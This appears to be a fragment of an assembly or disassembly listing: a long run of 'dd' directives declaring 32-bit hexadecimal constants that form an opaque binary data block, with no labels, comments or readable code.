dd 3606FA00h, 0EC2C6B44h, 0A790087h, 0BE467063h, 0FD00C5D4h
dd 945CB014h, 0EE34D73h, 6C969EDAh, 0B69A2Ah, 374105A5h
dd 31015FECh, 3B5CF244h, 48D47985h, 84A7032Fh, 3E2B0C4Bh
dd 3228BC88h, 72786D1Fh, 0E4FCFh, 77A5FD10h, 0FAC90013h
dd 3ADFE70Fh, 4700437Ch, 550C50B4h, 722509C4h, 0E82724F8h
dd 69583007h, 0EA00F004h, 0AEAA2893h, 1DFDD7h, 58EFA583h
dd 0F429BBD1h, 9E74A002h, 6064D21Ah, 1C092ACh, 0DB79F159h
dd 809A1173h, 9C3A9399h, 1BF6F39h, 3103B75h, 0E82CD7F5h
dd 0B75CC21Ch, 0B5740046h, 79BB149Ch, 21D01EA4h, 1CDDAE91h
dd 3909800Eh, 4EAA34CBh, 20FE40CEh, 9FBAA489h, 0CC5A012Bh
dd 0A56BCDA7h, 7B2E6020h, 8E6DCE00h, 3EE43F38h, 0D2B900FDh
dd 5C922BB0h, 0EA0054F7h, 0C2625567h, 7CFB15h, 64D9BB0Ch
dd 443239E8h, 3F03C8E2h, 0F29C5373h, 0D8F6F04Ah, 344F0016h
dd 1A072E2Dh, 64EE7B19h, 0B8E9D0h, 6FC40A1Bh, 41CBCAh
dd 0DC361CCFh, 0ADE55DE9h, 46F2801Ch, 0BBB28E83h, 12F4B0D1h
dd 0EF690790h, 0F0A0B355h, 0B98DA939h, 0BAF50E05h, 0CFBF258h
dd 0DC7825C5h, 0EACFA10Fh, 2388A0CDh, 831B5Bh, 2FB2EFC7h
dd 0ECF78706h, 4B00AEF8h, 8EDA0765h, 0EECEBF4Ah, 0B9E0031h
dd 4D01BEABh, 0C00067B5h, 3E1F5DCBh, 0E6262115h, 1E123BFEh
dd 0BC8C8F00h, 993F3B39h, 6BA11C00h, 725DCF0h, 27F43Dh
dd 0B5F71612h, 0B9B167C4h, 43E2A300h, 2A98FBE5h, 0D95900F4h
dd 0B43DA57Ch, 0E60139C1h, 0BE8B8549h, 0E8DB0DECh, 38CA9E4Ah
dd 0B0001153h, 88B98F60h, 7E03C124h, 0F80915C3h, 0DF66F8B5h
dd 5A471C32h, 0BA1801Ah, 0A23D9A7Fh, 5E790501h, 41500D17h
dd 186E2BF8h, 684F1D62h, 31F37AEh, 0F740C5CFh, 0A3F8307Eh
dd 5859034Ah, 0B4E7422Eh, 0ADEE50A0h, 0F06A3F00h, 0B2669675h
dd 14970089h, 0D4395DE8h, 2500E381h, 0D3C46159h, 0F54A2Ah
dd 90B0653Bh, 8899CE09h, 0B12F7800h, 0B25492C9h, 6C6B00C0h
dd 3CD1CD0Ch, 50009BC4h, 39A8D995h, 5AA04A2h, 3A4ED546h
dd 19C0FE73h, 5861DBD8h, 2E00B2E6h, 7CF239B4h, 330092A7h
dd 18FD8467h, 6532822h, 77058EDEh, 0A83A183Eh, 0D9A600D1h
dd 9A15BF6Ch, 0D87182h, 34F0739Fh, 5442C506h, 83005CF8h
dd 0B25D5918h, 0CCB3356h, 0E8373B91h, 0F5022488h, 0B0A30675h
dd 84604164h, 9F03D840h, 0E6D50E18h, 2C406CECh, 0B9B2CE50h
dd 33EEE298h, 0E52E6100h, 72193949h, 9428574Fh, 43C19401h
dd 0D0AC1764h, 6001A907h, 0EBCB2FE2h, 40481B0Dh, 89D60FC9h
dd 0F803EE98h, 0C2D00AD4h, 67002374h, 2D3FFF5Dh, 699650h
dd 3D1F9153h, 0E5EA7781h, 28CE860Ah, 9400AE45h, 598BCD16h
dd 98B314A1h, 881E8083h, 0AB5B40EDh, 0A3F61004h, 0E9A06263h
dd 13CC1CFDh, 34074752h
dd 699F103Ch, 4C0A50CAh, 0DC1DF96Fh, 602A108Eh, 0FB91FD8Bh
dd 5D5F3D7h, 256B5F4h, 0E36D82BEh, 0C9C3A46Ah, 138496F8h
dd 77AB3E00h, 4521E464h, 0FB370097h, 565E8A99h, 28E287BBh
dd 68C0F800h, 0CEF2B23Ah, 77C2E0F3h, 14990BBAh, 0FA003E5Ch
dd 42A18D3Fh, 484EC700h, 549FA589h, 0BF990049h, 0E4412278h
dd 4A0028D2h, 0CADDCE4Dh, 0E26866Eh, 0B6B0F538h, 0B5975E60h
dd 7707E5C9h, 0F487A9EEh, 73050577h, 0C00AB5C3h, 1F5A586h
dd 51066C5Ch, 820B3E2Dh, 0D6D2C9E0h, 0F1E7E317h, 64C02ED1h
dd 0E3190080h, 0AEE3534h, 770073A8h, 383F030Dh, 0F085309h
dd 52EB79F7h, 0AAD2CC40h, 720C61BBh, 58127CADh, 704F66Dh
dd 29287087h, 34930BAh, 47009B64h, 0A671F736h, 0AAB2B30h
dd 28B57614h, 0AEA800FFh, 382A82B3h, 6581E200h, 3B207721h
dd 2CC2E41Bh, 9141ECh, 5C17666Fh, 56008A55h, 0D1DDC89Ah
dd 348AC08h, 19E3F0F7h, 70F77203h, 9597CBDEh, 75133E02h
dd 906F2808h, 3A857A0h, 0A65C10F4h, 4DA8563Dh, 1F00907Dh
dd 2D14CBA0h, 2CF4707Fh, 0EC8D22h, 161554C9h, 480005B2h
dd 0A4C20391h, 54D1779h, 4DC32ABh, 6490003Fh, 95B45F54h
dd 0EB1494ECh, 803D3Bh, 0C1D81D19h, 1477314h, 0CBFFAA07h
dd 92F8B443h, 0BE003E61h, 12B7AF2Bh, 31CE006Fh, 1904A00Fh
dd 4F0191CAh, 4450CBEFh, 0CA405585h, 0F6511F53h, 0B67AD2h
dd 0BBA377DDh, 5FCE2AD6h, 0A1575803h, 80C9D162h, 43630Ch
dd 2DBB4182h, 1189C61h, 2CDAA103h, 0E934DDF5h, 1820F6E9h
dd 0B5910635h, 0F0A33827h, 0F21C39h, 640B3397h, 9A2877h
dd 585C4DCBh, 7099AE46h, 0EB43BD00h, 0B8303B9Fh, 36A2248Bh
dd 0CF470B08h, 4300DCF4h, 2655EEB3h, 0F16112ADh, 5E740058h
dd 0A2EB530Fh, 3A1A1D0Fh, 0DA127CC6h, 0F0F58002h, 70DD800Dh
dd 90A71Eh, 0C019C6D7h, 0EBA38A48h, 0CAAF3D01h, 7E72B45Eh
dd 4C52E8h, 0D4C43977h, 0F2D3B8A6h, 108880E1h, 421778FCh
dd 58A045Ch, 80706EF1h, 777665B0h, 0E0909829h, 24425E40h
dd 1BD600ABh, 0B7481229h, 9C90A4C3h, 1691E400h, 0F2C44084h
dd 65F4B6h, 25A11BDDh, 0B57E69B8h, 18A23224h, 4D0A9A81h
dd 0C02604E8h, 88F0D39h, 0E2006DD9h, 56C8FB3Ch, 3B822C0Eh
dd 39BF6759h, 0C9F7ED70h, 2508052Fh, 47934ACBh, 10D5F1FCh
dd 3255DE3Fh, 63A13Ah, 0AF26B2A4h, 0EB0B78h, 0F8F9E54Ah
dd 201314DFh, 0FF998803h, 0E31844h, 37076218h, 82D0BFC4h
dd 2DF1E800h, 3349C1A8h, 71EA8Ah, 0C3A063B1h, 0A4AFA5D1h
dd 1EBCDCE1h, 807F143Bh, 3D17A88Dh, 905876h, 813F32C0h
dd 0A5517E28h, 99B1680Fh, 0AFF44111h, 9ADC40D2h, 33471863h
dd 0B22C30D1h, 15005075h, 5203D4A0h, 59E2BEh, 4E48C11Ah
dd 7E3C39C6h, 0C4C32C0Ch, 0F27188Ah, 55FA22C7h, 0A0DF0E21h
dd 0C0D1F868h, 144256h, 0CA2F7F96h, 0A55874h, 18D9DE9h
dd 9E14E05Ah, 0BD1E4E00h, 9670D1B0h, 0B10D042Dh, 80C258B6h
dd 615FEA6Dh, 154ECD1Dh, 4B6FB171h, 0F0D7F4h, 8A9192F7h
dd 2EAF6A49h, 0BAD6A502h, 60C183CDh, 3869E0h, 152B9B74h
dd 539FC750h, 5F612000h, 2D90601Eh, 367C00F0h, 33E39DF4h
dd 0DA00B357h, 0FD02D161h, 0C9D934h, 0C1BC2893h, 0E2AE263Ah
dd 8EA9DB00h, 0AAD0D8A0h, 333E066h, 417CDF17h, 1CF99B30h
dd 1E21A6h, 64FB87C8h, 9197BCA8h, 0E16BE703h, 24F9BDh
dd 39C42638h, 2F3BD7A6h, 530060A5h, 0A4C49FF3h, 88BD07E0h
dd 0E0447B54h, 0BE5E74Dh, 43CD5201h, 0D0A8EAC8h, 0F29048D8h
dd 1C46EC19h, 0C0DD5B6Eh, 8EB63E01h, 0EF0008ECh, 72CBBD9Bh
dd 181AAEh, 60E47CC5h, 445DADD3h, 96495F01h, 43D8E281h
dd 1EC62C5h, 8F563E52h, 6CEDE580h, 2DD431A1h, 0A4CA8D00h
dd 79E9215Eh, 74D600E6h, 0C8776575h, 7300B735h, 0B26E8139h
dd 0F6AA0BB3h, 1CDE0E20h, 8008BE77h, 0F69DC500h, 3C23CEFh
dd 0CFA41346h, 0C0A19282h, 0DC7DC52Eh, 0C004C59h, 8DBB02D9h
dd 2FAD27h, 0C875062Ah, 0CE8910BAh, 7F4181Ch, 81E39B80h
dd 166BD18Dh, 957793h, 0C48EFC0Eh, 0E50048D6h, 0C1863F45h
dd 599F76Ch, 87C63706h, 9D34C0D9h, 74004667h, 8123EEA6h
dd 989A6520h, 5B380FE9h, 47E0EA14h, 5CA9F261h, 0FC35D400h
dd 0CB19D2DDh, 0DEFCA05Bh, 0EA1F00D7h, 0AF9848Ch, 6F00134Fh
dd 7389D0C9h, 0ADF1B1h, 5F63DD34h, 5B5C72BCh, 0F4C11F01h
dd 0B09D2E36h, 0EFB6D8h, 758FD38h, 0B2F61DCBh, 0C0A0C912h
dd 1C63E803h, 55C80047h, 0FE7512A3h, 0ED005039h, 0FB4F9532h
dd 1E377274h, 8F3C908Eh, 0E701890Eh, 40A0A6AFh, 199AC6A0h
dd 93F01800h, 0B1ACDD48h, 347B07CCh, 502A7755h, 0C743870Eh
dd 1A22B300h, 365DF9FCh, 771EA26h, 41A71C05h, 807F2784h
dd 4DF567A4h, 0B6D8500h, 1F8F9CFDh, 9BA00EFh, 0FC594C3Fh
dd 0A7005556h, 0B5370BD2h, 6AF9EDh, 6DC8BD6Ch, 1D13D467h
dd 8952230Dh, 8CFD78E1h, 0F424F440h, 98356079h, 0FCF1A292h
dd 0BB57F303h, 26F05E53h, 39A02C8h, 398D8594h, 25FDF101h
dd 867D4171h, 7909A670h, 77B11B49h, 6FC8205Dh, 0D2FD794h
dd 9300E06Dh, 0D8793CB4h, 405CDF00h, 18D465DEh, 5495BC00h
dd 0AD377F6Bh, 8C500DAh, 755E8C82h, 9E30CDD9h, 121AF06Ah
dd 54B875A3h, 7068FC76h, 0D2B01E5Eh, 6F77CFDEh, 290C69C0h
dd 8F031147h, 748D269Fh, 0D027B9A1h, 7A92BEF0h, 707E5004h
dd 0CCA1D93h, 39998EE7h, 4EB91821h, 0BB793054h, 1A98B00Ch
dd 1224607Dh, 15E3DA5h, 5F6E1C24h, 0D0C8DDD0h, 0EE50B2CDh
dd 4892F8D8h, 0B77E9600h, 1C878CE9h, 345A4802h, 646ACE80h
dd 4400C569h, 774EDEE4h, 51078643h, 7B30CCE2h, 6A3A586Eh
dd 0C5FF4500h, 0CF372A2h, 0A994501Ch, 67F1D140h, 302D5DFh
dd 8C98BA34h, 0E5B1B9B0h, 20F3DD25h, 900539D8h, 285DECDBh
dd 5B79C800h, 486F3194h, 0C3807C5Ch, 0B43570C6h, 0E4E1200h
dd 0D1F39299h, 5DE639DAh, 0E01F453Eh, 0F8F04F53h, 2F80B56Eh
dd 954AE87Dh, 0E2A74800h, 32089D3Eh, 0F2BA006Dh, 8AFE6961h
dd 0CA009486h, 5868ADEAh, 0F17B5Fh, 0DF4285AFh, 0D6741882h
dd 4EA393Bh, 75C75DBh, 0CA844080h, 3B8D3E83h, 0B00BD503h
dd 31909525h, 2E7EB5ADh, 8048790Fh, 0C996A314h, 54F0E135h
dd 17C49CC4h, 9FE587h, 6AB42E59h, 0F1141CB0h, 88888Bh
dd 28FECF62h, 1EB2E8E5h, 80A93E19h, 0DB1D7EFDh, 2E008D87h
dd 3C7C1779h, 4B5321Ah, 9CB791B9h, 0D3FC090h, 0D70FEFFCh
dd 0A0DA222Bh, 6C081DD3h, 3C710062h, 10D6998Bh, 0B9005A84h
dd 0D7CCA548h, 0F9690Fh, 89C4BAE1h, 0DF32D4F7h, 2E7CE00h
dd 0BC60CB1Dh, 384006Eh, 4940BD34h, 0BE008942h, 7F25F82Eh
dd 1F46BFB7h, 70100B32h, 0F9FDFE88h, 5D93C00h, 293EB820h
dd 8E2100DAh, 0AB657F99h, 4F003634h, 0A9037602h, 3DB51B4h
dd 0E7C04B8h, 0AC80083Dh, 0C400CD71h, 37994EFDh, 1F57F489h
dd 0D65D56h, 0E4C31A77h, 0E03036C8h, 1C759058h, 60C20037h
dd 5A8DA5B7h, 91003F98h, 0A20CD12Eh, 37B01854h, 70B0B27Bh
dd 3FE3415Eh, 0B30B0F00h, 6A3BDF35h, 0D73800F1h, 0FF21CBABh
dd 5D289084h, 0B800A3F6h, 0EBC6B40Dh, 7FE976h, 0A372CAACh
dd 92E7D8D7h, 7A1CCD00h, 68D23CE3h, 78650103h, 4C0E90C4h
dd 0A80DEC84h, 0EC33C1A1h
dd 60342EEh, 0AF5B016Ch, 0F16000A0h, 0E4E73562h, 0AC503924h
dd 0A73E0238h, 5AE680B6h, 8A2B76Ah, 0ABECA889h, 13BB3D53h
dd 5DB5B902h, 86C0A6DCh, 49026815h, 2AA7103Ah, 0D896E3h
dd 0F57039F2h, 9A87FD10h, 79759800h, 0D00D47AEh, 0A1C600BBh
dd 17342CCCh, 94F2B813h, 0CAC37001h, 0AA14DDC5h, 7C77960h
dd 0F0127AAEh, 4AA7000Ah, 6E009EA6h, 5833A547h, 193C73B4h
dd 0B0CD6968h, 0DD0ECC6Fh, 0AD997F50h, 2D0B5901h, 5AF873C9h
dd 565560h, 0E944516Eh, 7A04F35Eh, 0AA76A224h, 4001FC1Ch
dd 2A1ADF38h, 6CA560h, 85E2F02Fh, 237675CEh, 0C33ED207h
dd 3333A011h, 2A180EBEh, 9640D02Eh, 5EEBAA78h, 92D66B00h
dd 0B745057h, 99340389h, 2B935D0h, 0B4166E80h, 0C20DCC00h
dd 0EF9E9A41h, 22F9004Dh, 7585DC86h, 0FF002805h, 0B31D56A6h
dd 9F63C3h, 0FEA52BD9h, 7221F836h, 9C8DE101h, 0F7D2EA50h
dd 33261520h, 0DF99A201h, 1FC51E80h, 0ECC57F51h, 460070A3h
dd 0D0A59065h, 0CFA91773h, 2203888h, 3D33B2F7h, 0A106B57Ah
dd 147EC3BEh, 0FDE30020h, 5459014Bh, 9000649Fh, 2CB0E36h
dd 411E3Ch, 6AB5E32h, 0BE42433Ah, 3939D938h, 884CB087h
dd 1B7BC3h, 0C5EF671h, 0A67C90C1h, 3D9961Dh, 8F3FCE4Bh
dd 0F8E76073h, 0AD8359h, 0CCFA163Bh, 6D7086CFh, 92500FF6h
dd 70055A0h, 9EEF9D0Bh, 672F04E0h, 97561184h, 4A1710D1h
dd 0D300B4DBh, 0A204CF72h, 0E90229h, 0B7F37EBh, 742A8911h
dd 5F16BAFCh, 0C400D6BFh, 5EE6FFCEh, 6F2B008Ah, 1C80383Fh
dd 0F0C198C4h, 0A632B9A5h, 0FEFCF8h, 0FAA13063h, 83DA04C3h
dd 9A1F58h, 0C15052ADh, 59A07Ah, 36E02FB8h, 5646212Bh
dd 1E42B93Ch, 9900C7B1h, 945E2A07h, 0A02601CFh, 0F3392FD9h
dd 46E05974h, 4A00C82Ch, 0E9BA357h, 0D2B922h, 5B9C40FFh
dd 0AA87D861h, 31FC787Ah, 0BD315460h, 0E811EE1h, 2B70D7EBh
dd 0D2D4C582h, 0EA4DF898h, 52A22004h, 0AC11DDBh, 67F08AC2h
dd 689800BCh, 59C43747h, 4C498925h, 19700168h, 0A1CE7914h
dd 0D3003023h, 0BD571187h, 8103B260h, 0E2FA9E0Bh, 0A735F8D9h
dd 0F90506D1h, 6111D313h, 217F5B1Eh, 85614487h, 0B6C2169h
dd 3BF81294h, 4B910086h, 0ECFF46E1h, 9902096Ah, 0C89B9F0Ah
dd 0C1484858h, 542F3ACAh, 5964D485h, 0BE943074h, 33005116h
dd 60E7819Ch, 0FE5D3ABh, 96D274EBh, 6FBED582h, 820E30A0h
dd 0ED08AA61h, 3AB2FDDh, 359FA947h, 49E34CC0h, 0C0A017FEh
dd 0CF0061C8h, 2C46743Bh, 439CA1h, 25836926h, 1A15E27Bh
dd 0E7E84F76h, 5B984402h, 0C0EBE054h, 0B675Ah, 0FE7B14A3h
dd 3EB9D1DAh, 0E5DD0903h, 0CB1308h, 942E79C1h, 83C5F850h
dd 52641A00h, 6B74018Ah, 17FE33A6h, 0EA809DA0h, 19602945h
dd 0FF5FC510h, 3CB901C2h, 8BABE52Ah, 96E370F1h, 8960F707h
dd 0E907BACCh, 90545753h, 93CA40h, 0C249FB41h, 0E89128C0h
dd 99069D00h, 577363EEh, 0B590B1h, 0C0757A33h, 5BFF514h
dd 7CFEDD00h, 0EEDC812Eh, 7BF9008Eh, 1776C4Eh, 0E03EAE1Bh
dd 0B3D30089h, 0C4A21E1h, 78EF0069h, 39C03330h, 9800A24Eh
dd 27EDA956h, 4B4E4BEh, 61342F07h, 0C2DCC094h, 0B307D137h
dd 0B0738CFAh, 0AB28F8B0h, 0FE39009Ah, 8A85ADF7h, 79C07AC3h
dd 69658DB6h, 0F0F40079h, 0BBA72ED4h, 2300CA4Ah, 2563545Dh
dd 3B992AD9h, 108086A1h, 6FF14E7Ch, 0F0F33A1Ch, 0C50694C1h
dd 0E5320DC3h, 0DF4C0090h, 0F3C9AA5Dh, 3700A7B5h, 0E3B05427h
dd 7864D128h, 0E4B7005Bh, 4F57951h, 96078295h, 5472E8EEh
dd 0BA994450h, 0F471A4h, 0CFE3BF88h, 5F457BE1h, 0BD07A80Bh
dd 5C70004Dh, 3889069Eh, 16801B37h, 595D7136h, 0EB0045F8h
dd 83B3D444h, 140DC158h, 0C30638DBh, 10667101h, 0D81D81C5h
dd 0E600ACE7h, 0CB4BAE20h, 26EC0Fh, 22192ADAh, 4DAD7AF6h
dd 13ABF302h, 0E050BD3Ah, 0E21A2Ah, 25B8670Ch, 9D88F5F6h
dd 0C6353F00h, 494DAF75h, 67060017h, 0F2720C63h, 0B000E7FFh
dd 820D3AEEh, 0FBE526h, 6EB23B1Bh, 20E0C95Ah, 48DE860Fh
dd 0CB91E3F2h, 0EEA28830h, 790C1F15h, 80A9006Dh, 709885F6h
dd 5B00A7E4h, 3BAFCF05h, 6C637Ch, 1ACDE1BFh, 0C69AFB13h
dd 1BECBE03h, 88425B94h, 8D356Fh, 0F04C2AC2h, 2D8439F9h
dd 3B9C7214h, 0B0E01E9Eh, 177890B0h, 6A2C018Ah, 0DC98FF9Ah
dd 8CD8C4CBh, 16091B03h, 0A74E806Eh, 7ACC2620h, 46A500C7h
dd 0D1CFFE8Eh, 0AC05B5DEh, 69D86FB4h, 28F08C02h, 0EA35C002h
dd 96150056h, 0C3B8749h, 651E5021h, 9A83B4C1h, 80EF903Eh
dd 0C49D70h, 1F891CF7h, 9EFC63A8h, 0F01F4DE2h, 3802DA7h
dd 9481D050h, 27A11B77h, 40C83632h, 0B100DDB6h, 0E4318098h
dd 1DE10AA9h, 7B11BE99h, 4CA003FAh, 8C955478h, 0EF7F12B0h
dd 70EC8100h, 688D53A4h, 0BC293B17h, 0C43E5200h, 210D1207h
dd 0C02CF41Eh, 0CC3FF900h, 3E951F0h, 72E580Eh, 0C0FF210Fh
dd 2462DCC6h, 56001D76h, 0B2947512h, 0AC5BB3h, 6B9B901Bh
dd 9361A28Ah, 3BF9190Eh, 53B9639Eh, 2642E82Ch, 0DD330A7h
dd 1D184460h, 80198D3Fh, 1F8EE0E7h, 14560AE1h, 0C0CA746Fh
dd 0BA673280h, 6C603E44h, 438AB688h, 0FBC5031Ch, 0FC35BE10h
dd 0C480ACDAh, 8B0B513Bh, 0A819A4A0h, 0C903E476h, 0B090F5EAh
dd 0C2790E3Eh, 0ED6BA5E5h, 41699A80h, 9F00707Ch, 0DA404CF4h
dd 3E0F216h, 0BF2F15FCh, 89E66966h, 0EF03F4B0h, 0CD635AEEh
dd 95A80A14h, 0C0440A9Eh, 17949C2Dh, 1CB9700h, 80346539h
dd 749807AFh, 29B01429h, 0EAED2800h, 0D7606D82h, 0ADCCB511h
dd 0D1D30053h, 6508F163h, 932ACBB0h, 3A008049h, 3782DEDh
dd 1BF777h, 0DFCB0CF4h, 93BD4889h, 66D47407h, 58B09D5Eh
dd 0E28DF5EFh, 1ECF7704h, 40F0BB46h, 0A6BF4F17h, 0FC00410Bh
dd 77F389EAh, 0E65A43DBh, 65E800CDh, 48A447F6h, 2A029C20h
dd 0E4985753h, 11BC900Eh, 0B6029DFh, 0F75E40D8h, 1367052Bh
dd 0B5D055D0h, 0E7E459h, 5766B427h, 0D8C03E6Ch, 4DAC40Ah
dd 0E48E64F6h, 28E67F30h, 0F844FC80h, 30E835EEh, 8950123Ch
dd 0A806BD0Dh, 9A37F9Dh, 488A089h, 71300A6Bh, 394013Fh
dd 130C8C55h, 29D653A0h, 39C72B07h, 69D370F6h, 527801DEh
dd 153594F3h, 1FDC4091h, 590FBD85h, 42CB90B7h, 0C0CF485Bh
dd 73A0A48h, 97DFF3A6h, 659F20D1h, 3909D1Bh, 7E00F6E2h
dd 8C5D46AEh, 3BE15D0h, 67A55263h, 68C01BF1h, 2DFE2B1Fh
dd 0A6C3CD28h, 0DF0C0300h, 4624DD13h, 0EB8D008Ah, 0A02EFEEFh
dd 0C7EE194Eh, 0FF1271E0h, 5D07BF62h, 0DAD0CD8Ah, 3F3224h
dd 0A876945Eh, 7C0CA5C5h, 0F4BB03Ch, 4F66F464h, 13376021h
dd 0E0D6AACAh, 0EB4A0058h, 0D7F3A1DEh, 7A7347E3h, 0D96D4B00h
dd 0D4DF34BDh, 0D5E607E7h, 50CB0A69h, 2193873Fh, 17ED2700h
dd 3BBFB1DEh, 0EF670373h, 2CC35279h, 88637EA8h, 96FC0B00h
dd 0A448956Ch, 0F07F00E8h, 3D30C015h, 0D46046B5h, 0FF1F44C0h
dd 76E500CBh, 0D6BC170Dh, 0FD1FDCBEh, 6041E040h, 7951D48h
dd 0FC3160h, 0CC3D0B7Ah, 24F1C38Dh, 29F80603h, 0F0600D5Eh
dd 1D038A66h, 81C7F0DAh, 1B6B8CF6h, 49A8E7F7h, 0CA3ED5B4h
dd 0A818A81Ch, 51C73F00h, 0E37C402Bh, 0D9F70F39h, 0B260ADBBh
dd 0C8B83C36h, 6900CFE0h, 0AED8A1E7h, 158CEDh, 58075B8Dh
dd 5008FC65h, 0FD068800h
dd 0DDE3A49Bh, 553F0028h, 0B3CEA3C7h, 680EC89Eh, 0C2B754DFh
dd 85D9A764h, 0B0002CD8h, 50306A71h, 0E2361D02h, 77A083FCh
dd 480B59Dh, 55001C0Ch, 65D4C22Eh, 3C767B88h, 439492E3h
dd 7A80D05Fh, 48BB6064h, 39007C74h, 0E37DE1A1h, 18514BE0h
dd 10E6DCF8h, 0CC00806Ah, 3581A438h, 3C75EDBBh, 26000EFBh
dd 8A49EF33h, 0D71E6956h, 0E192A66Fh, 469C0840h, 12D4371Fh
dd 0F39740h, 0AF035D24h, 0D743025Eh, 0C812FC04h, 45C843Ah
dd 0FC3622D8h, 4FBF0148h, 0E97A9F38h, 0F23370h, 0A38A3C77h
dd 8999CD42h, 29C9E50Ah, 2F86B021h, 81FFADh, 121393FAh
dd 1827898Bh, 4DFDBC1Ch, 2B046B80h, 0D144D6h, 62DE10ACh
dd 5ED902A4h, 0BB6E070Fh, 6200D7AAh, 0C983CB7Ch, 0C1A207E9h
dd 40C4CDB8h, 290EA471h, 0A9956D38h, 47006C66h, 67406234h
dd 7D7606C7h, 0E08CFB35h, 0EAEEED00h, 0AA06B047h, 765426D0h
dd 703200BAh, 158BC304h, 0F94F18C0h, 50E595FDh, 7D3B44BAh
dd 1C20928Ah, 81DE0446h, 379C0952h, 0F798C3F2h, 1C24AB4Dh
dd 0A4964BDh, 0ECE09804h, 12DF30F5h, 0E32E433h, 740A8264h
dd 6E013FA8h, 0B56431BFh, 22A050B7h, 0AE1C152Ah, 994050EFh
dd 0B4F597F0h, 89AD05A4h, 0AE987D91h, 0F79BA8C0h, 54560757h
dd 6076BB12h, 8E746BCCh, 4A622E01h, 391ED585h, 0E22E40E2h
dd 49540A21h, 0B82D50h, 1B3801CAh, 0CC1A3BE7h, 80F226D1h
dd 728F2818h, 0E5590099h, 0D3611817h, 4D1E6BCAh, 2B0390A6h
dd 1CD5EAE7h, 4502E0h, 6F763538h, 5E1FC213h, 0BC8282ACh
dd 0C3701B8Ah, 5B86001Dh, 3314E625h, 900A0DFh, 0E4CC5802h
dd 85FEBh, 0ED8FD9C4h, 2EBBD781h, 9976EAFAh, 47BFD02h
dd 486156E2h, 508C2D8Ch, 7B80D0F9h, 62D11F37h, 0D5C94394h
dd 0A800E127h, 39688A4Bh, 0F0F2938Bh, 3A890051h, 0D99F4AB8h
dd 1A3CD275h, 0C15080EEh, 6EE7106Fh, 0F1CD3BE8h, 57B98D00h
dd 18AF78C2h, 67019FEEh, 43FA8BB3h, 602C5Dh, 0D4300E5Bh
dd 0FB002FACh, 9CE4A7A4h, 0F0415828h, 464BDD13h, 0DC7A4100h
dd 24DF905Eh, 8FBC5DD1h, 7BC08A47h, 0EFCD6BFh, 0A840E950h
dd 2C6CE349h, 828334DDh, 525783DCh, 0AC02C39h, 0CF338CE7h
dd 9907A8E6h, 0BF50B181h, 0A498B824h, 0A30903B5h, 4801746Eh
dd 57E49FF8h, 0DFF2ECEEh, 0CB1C021Ch, 8D83E21Dh, 34568F2h
dd 0FCFA07E9h, 5C08B71h, 8D008CFDh, 61381EA0h, 9A4DA809h
dd 0E7D30748h, 801DE987h, 0BBB040A6h, 340013E2h, 0C51EA8C7h
dd 1D38AD6Eh, 8EC4C1h, 0E00C2E29h, 0D300E575h, 0DA8DF1D0h
dd 3CFDD973h, 0DD1C5F45h, 44445C69h, 0C2F63753h, 0B4C0ADB8h
dd 271C5FEDh, 404C963Dh, 0EE6A85Eh, 8F42CFBFh, 2A88BAAh
dd 2A21E398h, 0CC75A4A4h, 649A477Ch, 5420C002h, 0C03932A9h
dd 3E7D6600h, 23276CBh, 3C456236h, 1B234F00h, 8F2C5Fh
dd 0FC9B2B19h, 339D1D20h, 0BE779000h, 2A48BAC0h, 8F8A3A21h
dd 0D9AAEA00h, 3A873004h, 0C245E30Eh, 0EFCC205Ah, 581FA18Ch
dd 3320C17h, 10C8D6E1h, 0B41EDD67h, 80B98424h, 0E674985Ch
dd 52F620h, 35ABC0DEh, 0D21F8F89h, 0BAE7F901h, 0E908C52Ch
dd 40987414h, 0AF7D7134h, 1C2D91C0h, 0FA2F8F0h, 16D8AE07h
dd 3DBA720h, 9038C45h, 19F10D36h, 75DDE10Bh, 0B225F6E8h
dd 0D86E0EC4h, 45B25CF9h, 844B4678h, 9F68DCCDh, 0FC059D74h
dd 558D88F4h, 7080C3C4h, 993E6CF1h, 0B44A00F4h, 1969ACE9h
dd 24DCFA01h, 51D9F0A6h, 9846EC0h, 0D7975FA0h, 0C8084CA9h
dd 0A6DE6344h, 0ADF47097h, 6924CC59h, 5450943Ah, 0FBCA44Dh
dd 9A8D5F6Ch, 0CB0F8582h, 9B8B306Fh, 0EE8C8012h, 3A1B488h
dd 0FF2D8AB7h, 53E882E1h, 0DA00FB3Fh, 15D1A434h, 9435451h
dd 0F1729BC0h, 713AE087h, 60276E46h, 5A0E9094h, 32F89C43h
dd 50341C80h, 0CEAD00FBh, 0BE7FF9D3h, 0C700B819h, 0FD63D939h
dd 0C3F5E4h, 5E44ECF4h, 78CE89Ah, 7887C41Dh, 846B283Fh
dd 815A4B0Eh, 63BA0759h, 0EC9B21E0h, 1CECC089h, 2953C42Ch
dd 1812171Fh, 69D6C207h, 97800C84h, 26A3BC6Eh, 0D036C8h
dd 0FB2FC0EDh, 0FFF2FDF0h, 0EC4EC50Bh, 0BCD4307Ah, 0C4FC3F32h
dd 0B303EDBAh, 2434A695h, 3428CDBDh, 0B6006A6Ch, 0EA11D31Ah
dd 12340C92h, 4050BD3Ch, 70440A04h, 5092E097h, 0B0DC3952h
dd 41E679h, 0AD6B05E5h, 0A66038BDh, 49367F02h, 0E0540173h
dd 0D2FD60h, 8B769E56h, 0BA2C65B2h, 0F2953Dh, 274B492Bh
dd 5C4DB62Ah, 7880FC39h, 0F9E8468Ah, 0EF2CD492h, 970018FDh
dd 0B3049961h, 0D0530047h, 83B13F71h, 19096DD6h, 2AF22ABDh
dd 5F47CCE0h, 0ACEEE250h, 6EA10FCDh, 0BCB73Eh, 0D2A96720h
dd 0F018E35h, 0AC2B16E0h, 38C8A46Ch, 9084F4BFh, 15E4B38h
dd 88F50114h, 0C208644Ch, 7453220Ch, 1CB2E00Dh, 41BFF72Bh
dd 0D3DAAB04h, 455DCC9Dh, 49E37700h, 73FA6BA7h, 8EC34h
dd 0D895601Ch, 24CC3CF6h, 0C015D607h, 0CDA166BCh, 70E8CAh
dd 0AB7122h, 54B9A440h, 0F33CBDCEh, 0E4CA059h, 80615184h
dd 0C22E2B09h, 2F1707CBh, 0D2190150h, 0C46B7299h, 0D2D708B0h
dd 0E0274Ch, 0F0457FFFh, 550F12h, 0F835E806h, 6F142CFEh
dd 391178B7h, 2218CBC7h, 3A0A4095h, 0E1D3AC1Dh, 0E447F380h
dd 1364FE8Dh, 23C565C2h, 4290FBD0h, 3A3F22F7h, 0EC55261Ah
dd 0C114B880h, 1081066h, 1545AF99h, 60413EF9h, 913EFF48h
dd 0C08182FCh, 0E0A39BB8h, 24010B98h, 15F80902h, 0FF00C439h
